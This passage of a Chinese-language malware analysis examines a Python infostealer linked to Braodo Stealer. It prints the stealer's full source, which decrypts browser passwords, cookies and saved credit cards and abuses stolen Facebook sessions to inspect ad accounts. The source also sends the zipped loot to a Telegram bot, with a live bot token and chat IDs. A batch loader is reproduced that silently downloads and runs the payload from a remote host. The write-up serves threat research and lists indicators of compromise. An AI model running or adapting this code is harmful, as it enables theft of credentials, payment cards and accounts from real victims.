"Maxthon": f"{LocalAppData}\\Maxthon3\\User Data",
"K-Melon": f"{LocalAppData}\\K-Melon\\User Data",
"CocCoc": f"{LocalAppData}\\CocCoc\\Browser\\User Data",
"Brave": f"{LocalAppData}\\BraveSoftware\\Brave-Browser\\User Data",
"Amigo": f"{LocalAppData}\\Amigo\\User Data",
"Torch": f"{LocalAppData}\\Torch\\User Data",
"Sputnik": f"{LocalAppData}\\Sputnik\\Sputnik\\User Data",
"Edge": f"{LocalAppData}\\Microsoft\\Edge\\User Data",
"DCBrowser": f"{LocalAppData}\\DCBrowser\\User Data",
"Yandex": f"{LocalAppData}\\Yandex\\YandexBrowser\\User Data",
"UR Browser": f"{LocalAppData}\\UR Browser\\User Data",
"Slimjet": f"{LocalAppData}\\Slimjet\\User Data",
"Opera": f"{AppData}\\Opera Software\\Opera Stable",
"OperaGX": f"{AppData}\\Opera Software\\Opera GX Stable",
"Speed360": f"{AppData}\\Local\\360chrome\\Chrome\\User Data",
"QQBrowser": f"{AppData}\\Local\\Tencent\\QQBrowser\\User Data",
"Sogou": f"{AppData}\\SogouExplorer\\Webkit",
"Discord": f'{AppData}\\discord',
"Discord Canary": f'{AppData}\\discordcanary',
"Lightcord": f'{AppData}\\Lightcord',
"Discord PTB": f'{AppData}\\discordptb'
}
def installed_ch_dc_browsers():
results=[]
for browser,path in ch_dc_browsers.items():
if os.path.exists(path):
results.append(browser)
return results
def get_ch_master_key(path):
try:
with open(os.path.join(path,'Local State'),'r',encoding='utf-8') as f:
c = f.read()
except FileExistsError:
return None
if 'os_crypt' in c: # 與 ThieuDo 的內容不同 if 'os_crypt' not in c:
return None
try:
locals_state = json.loads(c)
ch_master_key = base64.b64decode(locals_state['os_crypt']['encrypted_key'])
ch_master_key = ch_master_key[5:]
ch_master_key = CryptUnprotectData(ch_master_key, None, None, None, 0)[1]
return ch_master_key
except:
return None
def decrypt_ch_value(buff, ch_master_key=None):
try:
starts=buff.decode(encoding='utf-8',errors='ignore')[:3]
if starts == 'v10' or starts == 'v11':
iv = buff[3:15]
payload = buff[15:]
cipher = AES.new(ch_master_key,AES.MODE_GCM,iv)
decrypted_pass = cipher.decrypt(payload)
decrypted_pass = decrypted_pass[:-16].decode()
return decrypted_pass
except (UnicodeDecodeError,ValueError,IndexError):
return None
except Exception:
return None
def decrypt_aes(decode_item, master_password, global_salt):
entry_salt=decode_item[0][0][1][0][1][0].asOctets()
iteration_count = int(decode_item[0][0][1][0][1][1])
key_length = int(decode_item[0][0][1][0][1][2])
assert key_length == 32
encoded_password = sha1(global_salt + master_password.encode('utf-8')).digest()
key=pbkdf2_hmac(
'sha256',encoded_password,
entry_salt,iteration_count,dklen=key_length)
init_vector = b'\x04\x0e' + decode_item[0][0][1][1][1].asOctets()
encrypted_value = decode_item[0][1].asOctets()
cipher = AES.new(key,AES.MODE_CBC,init_vector)
return cipher.decrypt(),encrypted_value
def decrypt3DES(globalSalt, masterPassword, entrySalt, encryptedData):
hp = sha1(globalSalt + masterPassword.encode()).digest()
pes = entrySalt + b'\x00' * (20 - len(entrySalt))
chp = sha1(hp + entrySalt).digest()
k1 = hmac.new(chp, pes + entrySalt, sha1).digest()
tk = hmac.new(chp, pes, sha1).digest()
k2 = hmac.new(chp, pes + tk,sha1).digest()
k = k1 + k2
iv = k[-8:]
key = k[:24]
return DES3.new(key, DES3.MODE_CBC, iv).decrypt()
def getKey(directory:Path, masterPassword=""):
dbfile: Path = directory + "\\key4.db"
conn = sqlite3.connect(dbfile)
c = conn.cursor()
c.execute('SELECT item1, item2 FROM metadata;')
row = next(c)
globalSalt, item2 = row
try:
decodedItem2, _ = decode(item2)
encryption_method = '3DES'
entrySalt = decodedItem2[0][1][0].asOctets()
cipherT = decodedItem2[1].asOctets()
except AttributeError:
encryption_method = 'AES'
decodedItem2 = decode(item2)
c.execute('SELECT a11, a102 FROM nssPrivate WHERE a102 = ?;', (b'\xf8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01',))
try:
row = next(c)
a11, a102 = row
except StopIteration:
raise Exception('gecko database broken')
if encryption_method == 'AES':
decodedA11 = decode(a11)
key = decrypt_aes(decodedA11, masterPassword, globalSalt)
if encryption_method == '3DES':
decodedA11, _ = decode(a11)
oid = decodedA11[0][0].asTuple()
assert oid == (1, 2, 840, 113549, 1, 12, 5, 1, 3), f'idk key to format {oid}' # ThieuDo 為 113_549
entrySalt = decodedA11[0][1][0].asOctets()
cipherT = decodedA11[1].asOctets()
key = decrypt3DES(globalSalt, masterPassword, entrySalt, cipherT)
return key[:24]
def PKCS7unpad(b):
return b[:-b[-1]]
def decodeLoginData(key, data):
asn1data, _ = decode(b64decode(data))
assert asn1data[0].asOctets() == b'\xf8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01'
assert asn1data[1][0].asTuple() == (1, 2, 840, 113549, 3, 7) # ThieuDo 為 113_549
iv = asn1data[1][1].asOctets()
ciphertext = asn1data[2].asOctets()
des = DES3.new(key, DES3.MODE_CBC, iv)
return PKCS7unpad(des.decrypt(ciphertext)).decode()
class Facebook:
__module__ = __name__,__qualname__ = 'Facebook'
def __init__(self, cookie):
self.rq = requests.Session()
cookies = self.Parse_Cookie(cookies)
headers = {'authority': 'adsmanager.facebook.com','accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7','accept-language': 'vi-VN,vi;q=0.9,fr-FR;q=0.8,fr;q=0.7,en-US;q=0.6,en;q=0.5','cache-control': 'max-age=0','sec-ch-prefers-color-scheme': 'dark','sec-ch-ua': '"Chromium";v="112", "Google Chrome";v="112", "Not:A-Brand";v="99"','sec-ch-ua-full-version-list': '"Chromium";v="112.0.5615.140", "Google Chrome";v="112.0.5615.140", "Not:A-Brand";v="99.0.0.0"','sec-ch-ua-mobile': '?0','sec-ch-ua-platform': '"Windows"','sec-ch-ua-platform-version': '"15.0.0"','sec-fetch-dest': 'document','sec-fetch-mode': 'navigate','sec-fetch-site': 'same-origin','sec-fetch-user': '?1','upgrade-insecure-requests': '1','user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36','viewport-width': '794'}
self.rq.header.update(headers)
self.rq.cookies.update(cookies)
self.token = self.Get_Market()
if self.token == False:
return None
#else: # ThieuDo 有 else
self.uid = cookies['c_user']
def Parse_Cookie(self, cookie):
cookies={}
for c in cookie.split(';'):
key_value = c.strip().split('=',1)
if len(key_value) == 2:
key, value = key_value
if key.lower() in ['c_user', 'xs', 'fr']:
cookies[key] = value
return cookies
def Get_Market(self):
try:
act = self.rq.get('https://adsmanager.facebook.com/adsmanager/manage')
list_data = act.text
x = list_data.split('act=')
idx = x[1].split('&')[0]
list_token = self.rq.get(f'https://adsmanager.facebook.com/adsmanager/manage/campaigns?act={idx}&breakdown_regrouping=1&nav_source=no_referrer')
list_token = list_token.text
x_token = list_token.split('{window.__accessToken="')
token = (x_token[1].split('";')[0])
return token
except:
return False
def Get_info_Tkqc(self):
try:
get_tkqc = f'https://graph.facebook.com/v17.0/me/adaccounts?fields=account_id&access_token={self.token}'
list_tikqc = self.rq.get(get_tkqc)
datax = ''
for item in list_tikqc.json('data'):
xitem = item['id']
url = f'https://graph.facebook.com/v16.0/{xitem}/?fields=spend_cap,amount_spent,adtrust_dsl,adspaymentcycle,currency,account_status,disable_reason,name,created_time&access_token={self.token}'
x = self.rq.get(url)
data = x.json()
try:
status = data['account_status']
except:
statut = 'Không Rõ Trạng Thái'
if int(status) == 1:
stt = 'Live'
else:
stt = 'Die'
name = data['name']
id_tkqc = data['id']
tien_te = data['currency']
du_no = data['speed_cap']
da_chi_tieu = data['amount_spent']
limit_ngay = data['adtrust_dsl']
created_time = data['created_time']
try:
nguong_no = data['adspaymentcycle']['data'][0]['threshold_amount']
currencies_equivalent_to_or_near_usd = ['USD', 'EUR', 'JPY', 'GBP', 'AUD', 'CAD', 'CHF', 'CNY', 'SEK', 'NZD', 'MXN', 'SGD', 'HKD', 'NOK', 'KRW', 'TRY', 'RUB', 'INR', 'BRL', 'ZAR', 'MYR', 'DKK', 'PLN', 'HUF', 'ILS', 'THB', 'CLP', 'COP', 'PHP']
if tien_te in currencies_equivalent_to_or_near_usd:
try:
nguong_no //= 100
except:pass
except:
nguong_no = 'Không Thẻ'
datax += f'- Tên TKQC: + {name} |ID_TKQC: + {id_tkqc} |Trạng Thái: + {stt} |Tiền Tệ: + {tien_te} |Đã Tiêu Vào Ngưỡng: + {du_no} |Tổng Đã Chi Tiêu: + {da_chi_tieu} |Limit Ngày: + {limit_ngay} |Ngưỡng Nợ: + {nguong_no} |Ngày Tạo: + {created_time[10:]} \n'
datax = f"Tổng Số TKQC: {str(len(json.loads(list_tikqc)['data']))}\n{datax}"
return datax
except:return 'Không Có TKQC'
def Get_Page(self):
try:
List_Page = f'https://graph.facebook.com/v17.0/me/facebook_pages?fields=name%2Clink%2Cfan_count%2Cfollowers_count%2Cverification_status&access_token={self.token}'
data = self.rq.get(List_Page)
if 'data' in data.json():
pages = data.json()['data']
data = f"Tổng Số Page: {str(len(pages))}\n"
for page in pages:
name = page['name']
link = page['link']
like = page['fan_count']
fl = page['followers_couunt']
veri = page['verification_status']
data += f"- {name}|{link}|{like}|{fl}|{veri}\n"
return data
except:
return 'Page: 0'
return None
def Get_QTV_Gr(self):
try:
get_group = f'https://graph.facebook.com/v17.0/me/groups?fields=administrator,member_count&limits=1500&access_token={self.token}'
list_group = self.rq.get(get_group).text
data = json.loads(list_group)
ids = 'QTV Group :\n'
for item in data['data']:
if item['administrator']:
id = item['id']
count = item['member_count']
ids += f"- https://www.facebook.com/groups/{id}|{count}\n"
return ids
except:return 'QTV Group : 0'
def Get_id_BM(self):
List_BM = f'https://graph.facebook.com/v17.0/me?fields=businesses&access_token={self.token}'
data = self.rq.get(List_BM)
try:
listbm = data.json()['businesses']['data']
id_list = []
for item in listbm:
business_id = item['id']
bussiness_name = item['name']
id_list.append([business_id,bussiness_name])
return id_list
except:
return None
def Get_Tk_In_BM(self):
try:
listbm = self.Get_id_BM()
if not listbm:
return 'Không Có BM'
result=''
for idbm,name in listbm:
count_bm = self.Check_Slot_BM(idbm)
result += f"-BM{count_bm}|{idbm}|{name}\n"
return result
except:pass
def Get_DTSG(self):
url = 'https://mbasic.facebook.com/composer/ocelot/async_loader/?publisher=feed'
rq = self.rq.get(url)
data = rq.content.decode('utf-8')
fb_dtsg = data.split('name=\\"fb_dtsg\\" value=\\"')[1].split('\\')[0]
hsi = '7398100915815341414'
spin_t = '1722504598'
spin_r = '1015316062'
jazoest = data.split('name=\\"jazoest\\" value=\\"')[1].split('\\"')[0]
return fb_dtsg, hsi, spin_t, spin_r, jazoest
def Check_Slot_BM(self,idbm):
try:
fb_dtsg, hsi, spin_t, spin_r, jazoest = self.Get_DTSG
params = {'business_id':idbm}
data = {'__user': self.uid,'__a': '1','__req': '6','__hs': '19577.BP:brands_pkg.2.0..0.0','dpr': '1','__ccg': 'EXCELLENT','__rev': spin_r,'__s': 'vio2ve:9w2u8u:bushdg','__hsi': hsi,'__dyn': '7xeUmxa2C5rgydwn8K2abBWqxu59o9E4a2i5VEdpE6C4UKegdp98Sm4Euxa1twKzobo9E7C1FxG9xedz8hwgo5S3a4EuCwQwCxq1zwCCwjFEK3idwOQ17m3Sbwgo7y78abwEwk89oeUa8fGxnzoO1WwamcwgECu7E422a3Fe6rwnVUao9k2C4oW18wRwEwiUmwnHxJxK48GU8EhAy88rwzzXx-ewjovCxeq4o884O1fwQzUS2W2K4E5yeDyU52dCgqw-z8c8-5aDBwEBwKG13y85i4oKqbDyo-2-qaUK2e0UFU2RwrU6CiU9E4KeCK2q1pwjouwg8a85Ou','__csr': '','fb_dtsg': fb_dtsg,'jazoest': jazoest,'lsd': 'rLFRv1HDaMzv8jQKSvvUya','__bid': idbm,'__spin_r': spin_r,'__spin_b': 'trunk','__spin_t': spin_t,}
check = self.rq.post(
'https://business.facebook.com/business/adaccount/limits/',params=params,data=data)
data = check.text.split(');')[1][1]
json_data = json.loads(data)
ad_account_limit = json_data['payload']['adAccountLimit']
except:return 0
return ad_account_limit
def ADS_Checker(self):
try:
result = (
f"{self.Get_info_Tkqc()}\n{self.Get_Tk_In_BM()}\n{self.Get_Page()}\n{self.Get_QTV_Gr()}\n"
)
return result
except Exception as e:
return None
ERROR_SUCCESS = 0
ERROR_MORE_DATA = 234
RmForceShutdown = 1
WINFUNCTYPE(None, UINT)
def callback(percent_complete: UINT) -> None:
pass
rstrtmgr=windll.LoadLibrary('Rstrtmgr')
def Unlock_Cookies(cookies_path):
session_handle = DWORD(0)
session_flags = DWORD(0)
session_key = (WCHAR * 256)()
result = DWORD(rstrtmgr.RmStartSession(byref(session_handle), session_flags, session_key)).value
if result != ERROR_SUCCESS:
raise RuntimeError(f'RmStartSession returned non-zero result: {result}')
try:
result = DWORD(rstrtmgr.RmRegisterResources(session_handle, 1, byref(pointer(create_unicode_buffer(cookies_path))), 0, None, 0, None)).value
if result != ERROR_SUCCESS:
raise RuntimeError(f'RmStartSession returned non-zero result: {result}')
proc_info_needed = DWORD(0)
proc_info = DWORD(0)
reboot_reasons = DWORD(0)
result = DWORD(rstrtmgr.RmGetList(session_handle, byref(proc_info_needed), byref(proc_info), None, byref(reboot_reasons))).value
if result not in (ERROR_SUCCESS, ERROR_MORE_DATA):
raise RuntimeError(f"RmGetList returned non-successful result: {result}")
if proc_info_needed.value:
result = DWORD(rstrtmgr.RmShutdown(session_handle, RmForceShutdown, callback)).value
if result != ERROR_SUCCESS:
raise RuntimeError(f"RmShutdown returned non-successful result: {result}")
finally:
result = DWORD(rstrtmgr.RmEndSession(session_handle)).value
if result != ERROR_SUCCESS:
raise RuntimeError(f'RmShutdown returned non-successful result: {result}')
def save_gck_login_data(profiles, profile_name, browser_name):
count = 0
login_data = ''
logins = []
for profile in profiles:
try:
with open(os.path.join(profile,'logins.json','r')) as loginf:
jsonLogins = json.load(loginf)
if 'logins' not in jsonLogins:
return []
for row in jsonLogins['logins']:
encUsername = row['encryptedUsername']
encPassword = row['encryptedPassword']
logins.append((row['hostname'], decodeLoginData(getKey(profile), encUsername), decodeLoginData(getKey(profile), encPassword)))
for login in logins:
login_data += f"URL: {login[0]}\nUsername: {login[1]}\nPassword: {login[2]}\nApplication: {browser_name} [Profile: {profile_name}]\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n"
count += 1
except:
continue
if count > 0:
if not os.path.exists(Data_Path):
os.makedirs(Data_Path)
logins_file = os.path.join(Data_Path, f'All_passwords.txt')
with open(logins_file, 'a', encoding='utf-8') as f:
f.writelines(login_data)
return count
def get_gck_basepath(browser_type):
basepaths={
'Firefox':f'{AppData}\\Mozilla\\Firefox',
'Pale Moon':f'{AppData}\\Moonchild Productions\\Pale Moon',
'SeaMonkey':f'{AppData}\\Mozilla\\SeaMonkey',
'Waterfox':f'{AppData}\\Waterfox',
'Mercury':f'{AppData}\\mercury',
'K-Meleon':f'{AppData}\\K-Meleon',
'IceDragon':f'{AppData}\\Comodo\\IceDragon',
'Cyberfox':f'{AppData}\\8pecxstudios\\Cyberfox',
'BlackHaw':f'{AppData}\\NETGATE Technologies\\BlackHaw'
}
return basepaths.get(browser_type, None)
def get_gck_profiles(basepath):
try:
profiles_path = os.path.join(basepath,'profiles.ini')
with open(profiles_path, 'r') as f:
data = f.read()
profiles = [
os.path.join(basepath.encode('utf-8'),p.strip()[5:].encode('utf-8')).decode('utf-8')
for p in re.findall('^Path=.+(?s:.)$', data, re.M)
]
return profiles
except Exception:
profiles = []
return profiles
def get_ch_login_data(browser, path, profile, ch_master_key):
result = ''
count = 0
if not os.path.exists(f"{path}\\{profile}\\Login Data"):
return count
shutil.copy(f"{path}\\{profile}\\Login Data",TMP+'\\login_db')
conn = sqlite3.connect(TMP+'\\login_db')
cursor = conn.cursor()
try:
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
except:
pass
for row in cursor.fetchall():
if row[0] and row[1]:
password = decrypt_ch_value(row[2], ch_master_key)
result += f"URL: {row[0]}\nUsername: {row[1]}\nPassword: {password}\nApplication: {browser}\n[Profile: {profile}]\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n"
count += 1
if count > 0:
if not os.path.exists(Data_Path):
os.makedirs(Data_Path)
pw_file = os.path.join(Data_Path, f'All_Passwords.txt')
with open(pw_file, 'a', encoding='utf-8') as f:
f.writelines(result)
conn.close()
os.remove(TMP + '\\login_db')
return count
def get_ch_cookies(browser, path, profile, ch_master_key):
count = 0
result = ''
fb_result = []
browser_data = {
'Chrome': {
'executable': 'chrome.exe',
'path': 'C:/Program Files/Google/Chrome/Application/chrome.exe'
},
'Brave': {
'executable': 'brave.exe',
'path': 'C:/Program Files/BraveSoftware/Brave-Browser/Application/brave.exe'
},
'Edge': {
'executable': 'msedge.exe',
'path': 'C:/Program Files (x86)/Microsoft/Edge/Application/msedge.exe'
},
'Opera': {
'executable': 'opera.exe',
'path': 'C:/Users/User/AppData/Local/Programs/Opera/launcher.exe'
},
'Vivaldi': {
'executable': 'vivaldi.exe',
'path': 'C:/Program Files/Vivaldi/Application/vivaldi.exe'
} # ThieuDo 多一個 CocCoc
}
if browser in browser_data:
for i in range(20): # ThieuDo 為 While True
try:
browser_info = browser_data[browser]
subprocess.run(['taskkill','/F','/IM',browser_info['executable']],creationflags=134217728)
proc=subprocess.Popen([
browser_info['path'],
'--remote-debugging-port=9222',
'--restore-lastest-session',
f'--user-data-dir={path}',
f'--profile-directory={profile}',
'--remote-allow-origins=*',
'--headless',
'--window-size=1,1',
'--disable-gpu',
'--no-sandbox'],
creationflags=134217728)
time.sleep(1)
ws_url=requests.get('http://localhost:9222/json').json()[0]['webSocketDebuggerUrl']
ws=create_connection(ws_url)
ws.send(json.dumps({'id':1,'method':'Network.getAllCookies'}))
cookies=json.loads(ws.recv())['reslut']['cookies']
ws.close()
proc.kill()
for c in cookies:
result += f"{c['domain']}\t{'TRUE' if c['domain'].startswith('.') else 'FALSE'}\t{c['path']}\t{'TRUE' if c['secure'] else 'FALSE'}\t{int(c.get('expires', 0))}\t{c['name']}\t{c['value']}\n"
if c['domain'] == '.facebook.com':
fb_result.append(f"{c['name']}={c['value']}")
count += 1
if count > 0:
dir_path = os.path.join(Data_Path,'Cookies Browser')
os.makedirs(dir_path,exist_ok=True)
with open(os.path.join(dir_path,f"{browser}_{profile}.txt"),'w',encoding='utf-8') as f:
f.writelines(result)
fb_formatted = '; '.join(fb_result)
if 'c_user' in fb_formatted:
browsers.append(fb_formatted)
except Exception as e:
print(f'Error with {browser}: {str(e)}')
continue
return count
def process_facebook_cookies():
if not browsers:
return None
for fb_formatted in browsers:
if 'c_user' in fb_formatted:
ads_check = Facebook(fb_formatted).ADS_Checker()
if ads_check:
if not os.path.exists(Data_Path):
os.makedirs(Data_Path)
with open(os.path.join(Data_Path+'Facebook_Cookies.txt'),'a',encoding='utf-8') as f:
f.write(f"\nCookie: {fb_formatted}\n\n{ads_check}\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━")
def save_gck_cookies(profiles, profile_name, browser_name):
count = 0
cookies_data = []
fb_result = []
try:
conn = sqlite3.connect(f"file:{os.path.join(profiles[0], 'cookies.sqlite')}?mode=ro", uri=True)
cursor = conn.cursor()
except sqlite3.Error:
return count
for profile in profiles:
cookies_db = os.path.join(profile,'cookies.sqlite')
if not os.path.isfile(cookies_db):
return
try:
cursor.execute('SELECT host, path, name, value, isSecure, isHttpOnly, expiry FROM moz_cookies')
cookies=cursor.fetchall()
except sqlite3.Error:
continue
if not cookies:
continue
for cookie in cookies:
host, path, name, value, is_secure, is_http_only, expiry = cookie
secure_str = 'TRUE' if is_secure else "FALSE"
httponly_str = 'TRUE' if is_http_only else "FALSE"
cookies_data.append(f"{host}\t{secure_str}\t{path}\t{httponly_str}\t{expiry}\t{name}\t{value}\n")
if host == '.facebook.com':
fb_result.append(f"{name}={value}")
count += 1
fb_formatted = '; '.join(fb_result)
if not os.path.exists(Data_Path):
os.makedirs(Data_Path)
if 'c_user' in fb_formatted:
browsers.append(fb_formatted)
if count > 0:
dir_path = os.path.join(Data_Path,'Coolies Browser')
if not os.path.exists(dir_path):
os.makedirs(dir_path)
cc_file = os.path.join(dir_path,f"{browser_name}_{profile_name}.txt")
with open(cc_file,'w',encoding='utf-8') as f:
f.writelines(cookies_data)
if conn:
conn.close()
return count
def get_ch_ccards(browser,path,profile,ch_master_key):
result = ''
count = 0
if not os.path.exists(f"{path}\\{profile}\\Web Data"):
return count
shutil.copy(f"{path}\\{profile}\\Web Data",TMP+"\\cards_db")
conn = sqlite3.connect(TMP+'\\cards_db')
cursor = conn.cursor()
cursor.execute('SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted, date_modified FROM credit_cards')
for row in cursor.fetchall():
if row[0] or not row[1] or not row[2] or not row[3]:
continue
card_number = decrypt_ch_value(row[3], ch_master_key)
result += f"Card Name: {row[0]}\nCard Number: {card_number}\nCard Expiration: {row[1]} / {row[2]}\nAdded: {datetime.datetime.fromtimestamp(row[4])}\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n"
count += 1
if count > 0:
dir_path = os.path.join(Data_Path,'Credit Cards')
if not os.path.exists(dir_path):
os.makedirs(dir_path)
cc_file = os.path.join(dir_path, f"{browser}_{profile}.txt")
with open(cc_file,'w',encoding='utf-8') as f:
f.writelines(result)
conn.close()
os.remove(TMP+'\\cards_db')
return count
gck_browser_profiles = {
"Firefox": get_gck_profiles(get_gck_basepath("Firefox")),
"Pale Moon": get_gck_profiles(get_gck_basepath("Pale Moon")),
"SeaMonkey": get_gck_profiles(get_gck_basepath("SeaMonkey")),
"Waterfox": get_gck_profiles(get_gck_basepath("Waterfox")),
"Mercury": get_gck_profiles(get_gck_basepath("Mercury"))
}
total_ch_logins_count=0
total_ch_cookies_count=0
total_ch_ccards_count=0
total_gck_logins_count=0
total_gck_cookies_count=0
total_browsers_logins_count=0
total_browsers_cookies_count=0
total_browsers_ccards_count=0
available_path = installed_ch_dc_browsers()
for browser in available_path:
browser_path=ch_dc_browsers[browser]
ch_master_key=get_ch_master_key(browser_path)
if not glob.glob(os.path.join(browser_path,'Profile*')):
profile_folders=[os.path.join(browser_path,'Default')]
else:
profile_folders=os.path.join(browser_path,'Default')+glob.glob(os.path.join(browser_path,'Profile*'))
for profile_folder in profile_folders:
profile = "" if browser in ["Opera", "Opera GX"] else os.path.basename(profile_folder)
countP = get_ch_login_data(browser, browser_path, profile, ch_master_key)
total_ch_logins_count += countP
countC = get_ch_cookies(browser, browser_path, profile, ch_master_key)
total_ch_cookies_count += countC
countCC = get_ch_ccards(browser, browser_path, profile, ch_master_key)
total_ch_ccards_count += countCC
for browser,profiles in gck_browser_profiles.items():
for profile in profiles:
profile_name=os.path.basename(profile)
logins_count=save_gck_login_data([profile],profile_name,browser)
total_gck_logins_count=total_gck_logins_count+logins_count
cookies_count=save_gck_cookies([profile],profile_name,browser)
total_gck_cookies_count=total_gck_cookies_count+cookies_count
total_browsers_logins_count=total_ch_logins_count+total_gck_logins_count
total_browsers_cookies_count=total_ch_cookies_count+total_gck_cookies_count
total_browsers_ccards_count=total_ch_ccards_count
process_facebook_cookies()
files_to_archive=[]
def GetIP():
try:
response=requests.get('http://ip-api.com/json/?fields=8195')
IData=json.loads(response.text)
SEIP=IData['query']
CountryCode=IData['countryCode']
CountryName=IData['country']
GetIPD=f"IP: {SEIP}\mCountry: {CountryCode} - {CountryName}"
except:
GetIPD='IP: N/A'
CountryName='Unknown'
SEIP='Unknown'
return GetIPD,CountryCode,SEIP
def Counter():
path=f"{os.environ['USERPROFILE']}\\count"
if os.path.exists(path):
with open(path,'r') as file:
count=file.read()
count=int(count)+1
with open(path,'w') as file:
file.write(str(count))
with open(path,'w') as file:
file.write('1')
count=1
return count
GetIPD,CountryCode,SEIP=GetIP()
Count=Counter()
zip_data=io.BytesIO()
archive_path=os.path.join(TMP,f"[{CountryCode}_{SEIP}] {os.getenv('COMPUTERNAME','defaultValue')}.zip")
with zipfile.ZipFile(zip_data, 'w', zipfile.ZIP_DEFLATED, compresslevel=9) as zip_file:
zip_file.comment = f"Time Created: {creation_datetime}\nContact: https://t.me/Xmeta".encode()
for root, _, files in os.walk(Data_Path):
for name in files:
try:
file_path=os.path.join(root,name)
zip_file.write(file_path,os.path.relpath(file_path, Data_Path))
except:
continue
with open(archive_path,'wb') as f:
f.write(zip_data.getbuffer())
with open(archive_path,'wb') as f:
f.write(zip_data.getbuffer())
message_body=f"{GetIPD}\nUser: {os.getlogin}\nBrowser Data: CK: {total_browsers_cookies_count}|PW: {total_browsers_logins_count}|CC: {total_browsers_ccards_count}\n"
for i in range(10):
if Count==1:
CHAT_ID=CHAT_ID_NEW
else:
CHAT_ID=CHAT_ID_RESET
try:
with open(archive_path,'rb') as f:
response=requests.post(
f"https://api.telegram.org/bot{TOKEN_BOT}/sendDocument",
params={'chat_id':CHAT_ID, 'caption':message_body, 'protect_content':True, 'disable_web_page_preview':True},
files={'document':f},
)
response.raise_for_status()
except:
continue
shutil.rmtree(Data_Path,ignore_errors=True)
if os.path.exists(archive_path):
os.remove(archive_path)
```
使用 `LocalAppData = os.getenv('LOCALAPPDATA') AppData=os.getenv('APPDATA') TMP=os.getenv('TEMP') USR=TMP.split('\\AppData')`進行搜尋,發現此網站 https://dk8munok987[.]net/ThieuDo/code.txt
在此程式碼中可以看到
```python
https://t.me/muabanuytinde
TOKEN_BOT = "7478106565:AAGUD941UsUqqQVFU-6EgJQthezqHRXmivA"
CHAT_ID_NEW = "-4663859231"
CHAT_ID_RESET = "-4608110610"
```
此部分相同
```
hsi = '7398100915815341414'
spin_t = '1722504598'
spin_r = '1015316062'
```
使用 `ch_master_key=get_ch_master_key(browser_path)` 搜尋可以找到此 X 推文
[X 上的 Yogesh Londhe:「Braodo Stealer TTP change -> Payload now saved in base64 form -> Function and variable name change Wukong[.]zip 46ddc4624daad4809077be154feba0ec duckyy26.bat 8461a89db655c02d50781d14c6883f71 download payload from GitHub github[.]com/LoneNone1807/Ducky #Braodo #Stealer #IOC https://t.co/rB2FkENyoT」 / X](https://x.com/suyog41/status/1830906427721834522)
### dk8munok987[.]net
查看 [VirusTotal - URL: https://dk8munok987.net](https://www.virustotal.com/gui/url/e043affb056a9d15325092a5ce5e1b2e7952e3b17bec842ff0e74965d489dd96/detection)
網站架構 Index of /:
- AI/
- cgi-bin/
- KiemLua/
- code.txt
- 僅 tg bot token 不同
- Startup.Bat
- Text.txt
- NamAn/
- Code.txt
- 僅 tg bot token 不同
- [startup.bat](https://www.virustotal.com/gui/file/3e22869f98660fb15126bd2cd2adb10b6915c48681965568126a5a57095ca980)
- ThieuDo/
- code.txt
- [Startup.Bat](https://www.virustotal.com/gui/file/67a376b0cf274aa61451c4caf6d006a988f854ba909e3688225a6247d203afa7)
- home.html
- [installer.msi](https://www.virustotal.com/gui/file/4d8c10ef921be2937b2044bafa977d70dd4e951037fdbfc823b0241969610547)
- Python313.zip
- 包含整個 python 3.13 執行環境所需檔案
#### startup.bat
使用 strings 或是 cat 查看
```
��&cls
@echo off
setlocal
set "path=%USERPROFILE%\AppData\Local\Temp"
set "url_py=https://dk8munok987.net/Python313.zip"
set "url_code=https://dk8munok987.net/ThieuDo/code.txt"
set "path_py=%path%\Python313\python.exe"
set "path_code=%path%\Python313\bot.py"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -ep Bypass -windowstyle hidden -command "& { (New-Object Net.WebClient).DownloadFile('%url_py%', '%path%\Python313.zip') }"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -ep Bypass -windowstyle hidden -command "& { cd '%path%' ; if (-not (Test-Path '%path%\Python313')) { mkdir '%path%\Python313' } }"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command "& { Expand-Archive -Path '%path%\Python313.zip' -DestinationPath '%path%\Python313' }"
del "%path%\Python313.zip"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -ep Bypass -windowstyle hidden -command "& { (New-Object Net.WebClient).DownloadFile('%url_code%', '%path_code%') }"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -ep Bypass -windowstyle hidden -command "& { & '%path_py%' '%path_code%' }"
endlocal
exit
```
# Braodo Stealer 介紹
病毒名稱為 `Braodo Stealer`
特色是:
1. Payload now saved in base64 form
2. Function and variable name change
[Cracking Braodo Stealer: Analyzing Python Malware and Its Obfuscated Loader | Splunk](https://www.splunk.com/en_us/blog/security/cracking-braodo-stealer-analyzing-python-malware-and-its-obfuscated-loader.html)
> Braodo Stealer 是眾多活躍且不斷發展的惡意軟體家族之一,旨在從受感染的電腦竊取敏感訊息,例如憑證、cookie 和系統資料。這種惡意軟體通常用 Python 編寫,採用各種混淆技術來隱藏其真實意圖,這使得安全解決方案難以識別。
>
> 該惡意軟體利用 GitHub 和 GitLab 等流行的開發者平台來分發其 Payload,通常利用這些儲存庫來託管偽裝成合法專案的惡意程式碼。此外,它還使用 Telegram 機器人作為命令和控制 (C2) 通道,使攻擊者能夠秘密通訊並有效地竊取被盜資料。
### 此樣本的特色與 Braodo Stealer 的相同處有:
1. 使用 Telegram 機器人作為命令和控制 (C2) 通道
- Exfiltration Over C2 Channel by Telegram
